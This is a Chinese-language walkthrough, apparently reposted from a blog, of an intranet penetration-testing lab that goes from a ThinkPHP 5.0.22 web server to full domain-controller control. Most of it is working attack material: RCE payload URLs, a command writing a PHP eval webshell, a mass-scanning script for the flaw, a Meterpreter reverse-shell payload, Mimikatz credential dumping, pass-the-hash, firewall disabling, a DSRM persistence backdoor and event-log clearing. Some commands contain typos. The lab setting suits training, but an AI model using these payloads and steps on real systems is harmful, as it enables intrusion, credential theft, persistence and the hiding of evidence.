一次简单的内网渗透靶场实战 - 渗透测试中心
2022-1-24 16:20:0 Author: www.cnblogs.com(查看原文) 阅读量:13 收藏

0x00 前言

在内网渗透的过程中思路才是最重要的,本次内网渗透的主机虽然不多,主要还是锻炼自己内网渗透的一个思想。

0x01 环境搭建

靶场:

win7(内):192.168.138.136

win7(外):192.168.10.25

域内主机:

win2008:192.168.138.138

0x03 web服务器渗透

nmap探测端口

nmap -T4 -sC -sV 192.168.10.25

这里可以看到几个主要的端口,例如80、135、139、445,这里首先就可以想到可以利用的点有ipc、smb

开了80端口,尝试访问web地址,老笑脸人了,而且还是5.x版本,洞还是比较多

为了确定具体版本,这里先使用报错查看,发现这里的版本为5.0.22,如果没记错的话这里是有一个tp远程命令执行漏洞的

漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用$_POST['_method']来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST['_method']='__construct'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

thinkphp getshell

这里我首先在kali里面找一下有没有相关的漏洞

可以看到这里有一个5.x远程执行漏洞,这里直接进入这个文件夹查看一下txt列出来的payload

cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt

找到对应版本后fuzz以下payload,这个是列出数据库名字,这里看到数据库名为root

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username

这个payload应该是列出数据库密码,但是这里没有打出来

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password

这里打出phpinfo

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

传参看一下当前权限为administrator

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

看一下ip情况,双网卡,那么大概率有域环境

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

看一下进程,发现无杀软那么尝试不用免杀直接写webshell

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

这里直接尝试echo写一个一句话木马进去,这里因为之前查看过没有杀软跟安全狗,这里就不需要做免杀处理

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php

这里用dir验证一下是否写入成功

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

使用蚁剑连接成功

thinkphp批量检测

这里我思考了一个问题,thinkphp的版本这么多,如果kali里面的漏洞库没有,而在搜索引擎上去搜索又太耗费时间,有没有一个批量检测thinkphp漏洞的脚本呢?

这里我找到了一个thinkphp漏洞批量检测的脚本

# !/usr/bin/env python
# -*- coding: utf-8 -*-

# name: thinkphp远程代码检测
# description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞



import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkphp_rce(threading.Thread):
    def __init__(self, q):
        threading.Thread.__init__(self)
        self.q = q
    def run(self):
        while not self.q.empty():
            url=self.q.get()
            headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
            payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
            vulnurl = url + payload
            try:
                response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)

                soup = BeautifulSoup(response.text,"lxml")
                if 'PHP Version' in str(soup.text):
                    print ('[+] Remote code execution vulnerability exists at the target address')
                    print ('[+] Vulnerability url address ' + vulnurl)
                    with open('target.txt','a') as f1:
                        f1.write(vulnurl+'\n')
                    f1.close()
                else:
                    print ('[-] There is no remote code execution vulnerability in the target address')
            except:
                print ('[!] Destination address cannot be connected')
def urlget():
    with open('url.txt','r')as f:
        urls=f.readlines()
        for tmp in urls:
            if '//' in tmp:
                url=tmp.strip('\n')
                urlList.append(url)
            else:
                url='http://'+tmp.strip('\n')
                urlList.append(url)
        return(urlList)
    f.close()

if __name__=="__main__":
    print('''----------------扫描开始-------------------

*Made by  :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN


              _______   _                         _               
             |__   __| | |                       (_)              
                | |  __| |  ___  ___   _ __ ___   _  _ __    __ _ 
                | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \  / _` |
                | || (_| || (__| (_) || | | | | || || | | || (_| |
                |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
                                                             __/ |
                                                            |___/ 
            ''')
    urlList=[]
    urlget()
    threads = []
    threads_count = 10
    q=queue.Queue()
    for url in urlList:
        q.put(url)
    for i in range(threads_count):
        threads.append(thinkphp_rce(q))
    for i in threads:
        i.start()
    for i in threads:
        i.join()

这里的使用方法很简单:将要检测的目标放在url.txt里面,如果存在漏洞的地址将自动生成一个target.txt文本保存

0x04 内网信息搜集

这里使用蚁剑的命令窗口搜集一下本机信息,为administrator权限+双网卡

whoamiipconfig

查看一下域相关信息

net view
net config workstationnet
 user /domain

0x05 内网渗透

上线msf

msf生成一个abc.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe

使用蚁剑上传到靶机上

这里因为没有杀软不用做免杀,直接命令行执行即可

msf开启监听即可上线

信息搜集

使用getsystem提权到system,这里因为是靶场的原因getsystem比较容易执行成功

提权后获取一个windows环境下的shell继续对域进行信息搜集

chcp 65001
net user /domai
nnet group "domain computers" /domain
net group "domain controllers" /domainnet group "domain admins" /domain

靶机存在一个名为“sun”的域环境,只有一个域控,这里我直接ping一下域控得到域控ip为192.168.138.138

获取凭证

这里因为有两个网段就先把路由添加上方便后续操作

# msf操作route add 192.168.138.0 255.255.255.0 2route print    # session操作run autoroute -s 192.168.138.0/24run autoroute -p

这里选择session,使用kiwi来获取靶机密码,注意这里需要进行的一个操作为进程迁移,因为我们这里上线到msf的载荷是32位的(即x86),这里需要找一个64位的(即x64)进行进程迁移才能使用kiwi获取靶机密码

sessions -i 2
load kiwi
kiwi_cmd privilege::debug
ps
migrate 1144
kiwi_cmd sekurlsa::logonPasswords

这里可以看到抓取到了一个域管的密码为dc123.com和一个靶机的密码123.com

思路

这里抓到了靶机和域管的密码,那么这里就可以用pth的方法进行横向移动,这是第一种方法;另外我们可以去检测一下在另一个网段的机器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp进行横向移动,这是第二种方法;因为我们之前在用nmap对端口进行扫描的时候是发现了139和445端口的,那么我们拿到了密码的情况下可以尝试使用ipc+计划任务的方式进行横向移动

0x06 内网横向移动

MS17-010尝试

这里直接使用ms17-010的攻击模块进行尝试,这里其实应该先用扫描模块对处于另一网段的主机进行漏洞扫描,若存在永恒之蓝漏洞才继续使用exp模块进行攻击,这里我为了演示方便就直接上手exp模块进行攻击了

这里攻击可以看到,虽然靶机存在永恒之蓝漏洞但是session反弹不成功,这里是因为在windows server2008的情况下匿名管道是默认不开启的。

我们知道psexec的原理就是使用了管道,ipc连接也同理。那么在匿名管带不开启的情况下永恒之蓝的连接是建立不上的。这里再说一下匿名管道的概念:

管道是IPC最基本的一种实现机制。我们都知道在Linux下“一切皆文件”,其实这里的管道就是一个文件。管道实现进程通信就是让两个进程都能访问该文件。管道的特征:①只提供单向通信,也就是说,两个进程都能访问这个文件,假设进程1往文件内写东西,那么进程2 就只能读取文件的内容。②只能用于具有血缘关系的进程间通信,通常用于父子进程建通信③管道是基于字节流来通信的④依赖于文件系统,它的生命周期随进程的结束结束(随进程)⑤其本身自带同步互斥效果

psexec尝试

因为我们已经拿到了域管的帐号那么我们这里就直接使用pth的方法,即哈希传递,使用的是psexec模块,不过这个模块因为被使用太多导致已经被杀软列入了黑名单,如果这里有杀软存在的情况下psexec横向移动是会被拦截的。

设置参数如下所示,这里注意一下SMBPass这个地方也能够通过hash进行传递,也能够通过明文密码进行传递

use exploit/windows/smb/psexec
set rhost 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
set payload windows/meterpreter/bind_tcp
run

这里可以看到exp已经利用了但是没有session反弹回来,这里我猜测是以为防火墙阻止了端口流量的进出,所以这里我们就需要通过ipc连接去关闭域控的防火墙

ipc连接关闭域控防火墙

这里的常规方法是使用netsh关闭域控防火墙,但是这里需要域控的管理员权限,所以在这里我们就直接使用ipc连接域控然后使用计划任务添加规则关闭防火墙

netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe"

将session挂在后台并与域控建立ipc连接

net use \\192.168.138.138\ipc$ dc123.com /user:administrator

这里可以看到连接已经建立成功了

利用sc创建计划任务立即启动关闭域控的防火墙

sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"    # 创建服务sc \\192.168.138.138 start unablefirewall    # 立即启动服务

这里可以看到防火墙已经被关闭了

psexec尝试*2

这时候我们再使用psexec进行横向移动就能够获得session,至此我们就拿到了域控的权限

这里看一下我们直接拿到的就是一个system权限的session

0x07 登录远程桌面

这里我想登录远程桌面看看域控还有什么有价值的东西就可以使用socks代理正向进入内网

使用socks_proxy模块

use auxiliary/server/socks_proxt
set viersion 4a
run

这里还需要配置proxychain文件

socks4 192.168.10.11 1080

添加一个内网网段的路由

run autoroute -s 192.168.138.0/24
run autoroute -p

然后使用proxychain命令即可登录远程桌面

proxychain4 rdesktop 192.168.138.138

登录域控如图所示

0x07 权限维持

权限维持的方法有很多种,这里我挑了一个使用得不是很多的方法来进行练习加以巩固

DSRM后门

何为DSRM后门?

DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。

在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

注意:该类持久化操作适用的服务器版本:Windows Server 2008及以后版本的Windows服务器。

在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。

首先,为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码:

ntdsutil    // 进入ntdsutil
set dsrm password    // 设置DSRM账户的密码
reset password on server null    // 在当前域控制器上恢复DSRM密码<password>   
 // 输入新密码<password>   
 // 重新输入新密码
q    //退出DSRM密码设置模式q  
  // 退出ntdsutil

然后再使用kiwi抓取ntml hash

然后,我们修改域控主机的DSRM账户登录方式。在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式:

0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号

1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器

2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

如下所示,我们用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器:

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

使用win7上的mimikatz进行hash传递即可获取到域控权限

privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d09

0x08 日志清除

日志清除有两种方法,一种是使用kali里面自带的命令进行日志清除

run event_manager -i
run event_manager -c

第二种方法则是进入服务器管理器自行清除

0x09  总结

1.通过NAMP对目标外网主机进行端口探测,发现80,135,139,445端口开放

nmap -T4 -sC -sV 192.168.10.25

2.访问web 80端口,发现目标系统是thinkphpv5.0框架开发。通过访问http://192.168.10.25/?s=10来报错查看具体版本为thinkphp5.0.22

3.通过searchsploit搜索thinkphp漏洞,可以看到一个5.x远程执行漏洞可利用

searchsploit  thinkphp

4.进入目录,并查看可利用的POC

cd /usr/share/exploitdb/exploits/php/webapps

cat 46150.txt

5.找到对应版本后fuzz以下payload,这个是列出数据库名字,这里看到数据库名为root

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username

6.列出数据库密码

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password

7.执行远程命令执行,这里执行phpinfo

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

8.查看当前系统权限,发现是administrator

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

9.查看IP地址

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

10.查看进程,发现没有杀软

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

11.尝试echo写入一句话木马

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php

12.尝试查看写入情况,发现已成功写入成功。

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

13.通过蚁剑成功连接一句话

14.通过蚁剑的命令终端使用命令查看服务器基本信息

whoami   //查看服务器权限

ipconfig  //查看服务器IP地址,发现有2个网卡,一个外网IP地址为192.168.10.25,一个内网IP地址192.168.138.136

net  view  //查看该网段的计算机名,一个为DC,一个为win7

net  config  workstation //查看本机计算机全名为win7.sun.com,棣属于sun.com域

net  user  /domian     //查看域用户,发现发生错误

15.msf下生成一个abc.exe

msfvenom  -p  windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe

16.通过蚁剑将abc.exe上传到外网服务器上,并执行

c:/phpsutudy/phptutorial/www/pubilc/abc.exe

17.msf开启并监听,成功上线

use  exploit/multi/handler

set  payload   windows/meterpreter/reverse_tcp 

set lhost  192.168.10.11

set  lport  4444

run

18.使用getsystem提权到system

meterpreter>getuid  //查看当前权限

meterpreter>getsystem  //提权到system权限

meterpreter>getuid  //查看当前权限,发现 成功提权

19.获取一个windows环境下的shell继续对域进行信息搜集

meterpreter>shell  //进入到外网目标系统的CMD命令环境中

c:>chcp 65001  //CMD命令下中文乱码解决

c:>net user   /domain  //查看域用户,发现存在admin,administrator,guest,krbtgt,leo用户

c:>net group "domain  computers"  /domain   //查看域计算机,发现一个win7$主机名

c:>net group "domain  controllers" /domain    //查看域控制主机名为dc$

c:> net group "domain admins" /domain   //查看域管理员组

c:>ping dc.sun.com  //查看域主机的IP,发现IP为192.168.138.138

20.这里外网目标系统上有两个网段就先把路由添加上

c:>exit  //退出shell终端 

meterpreter>background  //返回MSF终端

MSF>route  add  192.168.138.0  255.255.255.0   //添加动态路由

MSF>rotue print   //查看动态路由

MSF>sessions  -i  2

meterpreter> run  autoroute  -s   192.168.138.0/24  //在msterprter终端使其动态路由生效

meterpreter>run autoroute  -p   //列出动态路由

21.使用kiwi来获取靶机密码,注意这里需要进行的一个操作为进程迁移,因为我们这里上线到msf的载荷是32位的(即x86),这里需要找一个64位的(即x64)进行进程迁移才能使用kiwi获取靶机密码

meterpreter>load kiwi  //加载mimikatz模块

meterpreter>ps   //查看进程,这里的spoolsv.exe的进程为1144,系统权限为system,且为64位

meterpreter>kiwi_cmd  privilege::debug  //进行提权

meterpreter>migrate 1144  //迁移到spoolsv.exe的进程上

meterpreter>kiwi_cmd sekurlsa::logonPasswords    //获取到了一个域管(administorator)的密码为dc123.com和一个用户leo的密码123.com

22.通过尝试ms17-010进行横向移动,发现无法反弹成功,显示匿名管道没有开启或者找不到

meterpreter>backgroud

msf>use  exploit/windows/smb/ms17_010_eternalblue

msf>set rhost  192.168.138.138

msf>set  lhost  19,268.10.11

msf>set  lport  4444

msf>set rport  445

msf>run

23.通过尝试psexec进行横向移动,发现无法横向,流量被防火墙拦截了。

msf>use exploit/windows/smb/psexec

msf>set rhost 192.168.138.138

msf>set SMBDomain SUN

msf>set SMBUser administrator

msf>set SMBPass dc123.com

msf>set payload windows/meterpreter/bind_tcp

msf>run

24.使用netsh关闭域控防火墙,这里需要域控的管理员权限,所以直接使用ipc连接域控,然后使用计划任务添加规则关闭防火墙.

msf>sessions -i  2

meterpreter>shell   //进入到内网目标系统的CMD命令环境中

c:>chcp 65001

c:>net use \\192.168.138.138\ipc$ dc123.com /user:administrator  //建立DC的IPC$链接

c:>net use

25.利用sc创建计划任务立即启动关闭域控的防火墙

c:> sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"    //创建服务sc 

c:> sc \\192.168.138.138 start unablefirewall    #启动计划任务,并成功关闭防火墙

25.再次通过尝试psexec进行横向移动,发现可以横向移动

msf>sessions -i  4

meterpreter>getuid  //获取到域控主机去玩笑是system权限

meterpreter>background

meterpreter>sessions  //查看当前会话,含有2个会话shell链接

26.使用socks代理正向进入内网,并进行远程桌面登录

meterpreter>background

msf>use auxiliary/server/socks_proxt   //使用socks代理模块

msf>set viersion 4a  //使用socks4代理

msf>run

27.添加一个内网动态路由

msf>sessions -i  3

meterpreter>run  autoroute  -s   192.168.138.0/24

meterpreter>run autoroute -p

meterpreter>background

msf>set session  4

msf>run

28.进行远程桌面登录,这里需要在proxychain下的配置文件中添加:socks4 192.168.10.11 1080

proxychain4 rdesktop 192.168.138.138

29.DSRM后门进行权限维持,在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。

30.DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码:

ntdsutil    // 进入ntdsutil 

ntdsutil: set dsrm password    // 设置DSRM账户的密码

reset password on server null    // 在当前域控制器上恢复DSRM密码<password>  

                                                // 输入新密码<password>    

                                               // 重新输入新密码

q                                            //退出DSRM密码设置模式

q                                             // 退出ntdsuti

31.使用kiwi抓取DC的ntml hash

meterpreter>load kiwi

meterpreter>kiwi_cmd  privilege::debug

meterpreter>kiwi_cmd  token::elevate

meterpreter>kiwi_cmd  lsadump::sam

32.修改域控主机的DSRM账户登录方式,在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2,可以分别设置不同的DSRM账户登录方式,这里设置为2.

0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号

1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器

2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

33.用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器:

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

33.使用win7上的mimikatz进行hash传递即可获取到域控权限

privilege::Debug

sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d09

34.日志清除,kali下执行,或者通过远程桌面登录在事件查看器中直接清除日志

meterpreter>run  event_manager  -i

meterpreter>run event_manager -c



文章来源: https://www.cnblogs.com/backlion/p/15839900.html
如有侵权请联系:admin#unsafe.sh